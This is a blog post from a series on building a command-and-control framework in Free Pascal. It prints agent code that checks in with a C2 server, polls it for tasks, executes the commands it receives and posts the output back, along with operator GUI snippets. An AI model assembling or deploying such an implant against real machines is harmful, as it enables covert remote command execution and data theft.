introduction
Table of Contents
and here we are in part three of this series, and in this blog post, I am going to finish the operational part of our c2c that includes a stable demo with a very straightforward execution flow.
before start explaining the topic for today, there are some questions asked about why I want the decoy(agent) to be in Pascal ,not in C or other programming languages.
First of all, this series aims to talk about the first offensive demo complete c2c (team server, operator, agent) structure written purely in Pascal. I want to build it that way for now. I am not sure if want to release a full version of c2c to the public yet, which for sure will be a combination of multiple programming languages.
Server
for the server part, I have fixed possible SQL injection vulnerabilities and adhered to the usage of a prepared statement which will stop any possible SQL attacks and some other bug fixes to improve performance. you might check that here
Decoy
recently I have done around 6 hours of live coding to structure the decoy with the team server and complete the remaining part of the operator GUI interface, I would advise you to watch the previous video on twitch or youtube!
anyway, the decoy(agent) will have a simple program execution flow, it supports (Linux/windows/macOS) with multi-threading for handling communications, which means it is super fast when it comes to job scheduling and delivering the output to the team server.
as shown in figure 1.1, at the beginning, the decoy will try to see if the c2 is up and accepting connections and then establish the session with the created c2 profile servers.
profile_UUID = 'agyrtsdfc';
decoy_profile_server = '127.0.0.1';
decoy_profile_port = ':3333';
decoy_profile_type = 'http://';
{ agent end-point profile }
tasks_endpoint = '/tasks/view/';
tasks_update_status = '/tasks/update';
task_results = '/agents/results';
Code language: JavaScript (javascript)
then start parsing the Pending assigned task, after that, the decoy will execute the job on the target and send the result back to the c2.
Moreover, the decoy will not perform the actions if the initial handshake fails, which means less noisy behavior and stable execution flow.
In addition, I have avoided using while loop functions while handling the job of the assigned task; for that reason, I have used fptimer component to handle this part with custom timer intervals and threaded execution; besides, it is very tender to the CPU and RAM while handling the assigned jobs, or even while handling raised exception.
For example, if the agent sends the results into c2server and then accordingly the c2 goes offline or connection termination, the agent will handle that and send the results again when it is up and running.
below code is the initial connection test function to check and test if the connection has been successfully established, and then change the boolean state of isconnected variable into false or true depending on the connection results.
function initi_connection(server:string):string;
var
FPHTTPClient: TFPHTTPClient;
Resultget,end_point,res: string;
ok : integer;
begin
isconnected := false;
end_point := '/agent/heart_beat';
FPHTTPClient := TFPHTTPClient.Create(nil);
FPHTTPClient.AllowRedirect := True;
try
Resultget := FPHTTPClient.Get(server+end_point); // test URL, real one is HTTPS
if Length(Resultget) > 0 then
begin
isconnected := true // if connected true, timer will take and execute
end else
isconnected := false;
except
// on E: exception do
// writeln(E.Message)
end;
FPHTTPClient.Free;
end;
Code language: Delphi (delphi)
After that, the agent time will check the isconnected boolean variable result if it is true, then he will check the assigned tasks at /tasks/view/ API end-point.
procedure TSync.DoOnTimer;
var
server:string;
begin
if Assigned(FOnTimer) then
FOnTimer(Self);
if isconnected = True then
sync_endpoint
else
connect;
end;
Code language: Delphi (delphi)
After parsing the JSON response provided by the c2 profile server, the agent will force some logical checks to ensure the execution is successful and then transfer the results back into the c2.
procedure TSync.sync_endpoint; // this is main procedure to get assigned tasks
var
rs,task_data,task_status,task_id,outdata : string;
jData : TJSONData;
tiny_payload : string;
begin
rs := HTTP_WORKER(connect_endpoint+tasks_endpoint+'?profile_UUID='+profile_UUID,'GET',profile_UUID,'','','');
if length(rs) > 2 then begin
jData := GetJSON(rs);
task_data := Jdata.FindPath('task_body').AsString;
task_status := Jdata.FindPath('task_status').AsString;
task_id := Jdata.FindPath('task_id').AsString;
if task_status = 'PENDING' then begin
outdata := exec_command(task_data);
if length(outdata) > 1 then
tiny_payload := 'uuid='+profile_UUID+'&task_id='+task_id+'&task_status=COMPLETED';
HTTP_WORKER(connect_endpoint+'/tasks/update/','POST','','','COMPLETED',tiny_payload);
send_results(connect_endpoint+'/tasks/results/',profile_UUID,task_id,outdata);
end;
end;
end;
Code language: Delphi (delphi)
at this stage, the decoy will repeat the checking and job scheduling with custom time intervals
inherited Create(CreateSuspended);
FInterval := 3000;
FreeOnTerminate := True;
FEnabled := True;
Code language: PHP (php)
Remaining functions
as we want the process to be seamless, I have completed the operator-side functionality starting from Designing the interface to having a stable working demo. You might check the following twitch highlighted clip.
For the operator side, I have created a function to create a Visual component on run-time and assign a tab sheet to each connected decoy. For task creation, a threaded HTTP worker running will handle both sending and receiving results per decoy UUID and the task ID. Below is a code example to show how used threading to receive decoy results and create run-time visual components for the assigned decoy.
end_point := '/decoy/results?UUID='+pagecontrol2.ActivePage.Caption+'&task_id='+inttostr(task_id);
with proc do begin
p := FindComponent(pagecontrol2.ActivePage.Caption) as Tmemo;
tmp := get_result_decoy(url,end_point,label1.Caption);
p_data := parse_task_json(tmp,s_size);
if assigned(p) then begin
p.lines.Add('[+] size of recieved data : '+inttostr(s_size));
p.lines.Add('------------------------------------');
p.lines.Add(p_data);
p.SelStart:= MAXInt;
end;
Code language: Delphi (delphi)
What could happen more?
At this point, I have created a complete operation demo (decoy, team server, and operator GUI) from scratch using an exceptional programming language(Free Pascal). The next article will focus on some enhancements and tricks that could be done with the project.
Github repo
you can grab the demo source code from the folder DEV-03, and make sure to navigate the following discussion topic created to highlight some common issues or compile problems, thoughts, and ideas.
offensive security expert and founder of 0xsp security research and development (SRD), passionate about hacking and breaking stuff, coder and maintainer of 0xsp-mongoose RED, and many other open-source projects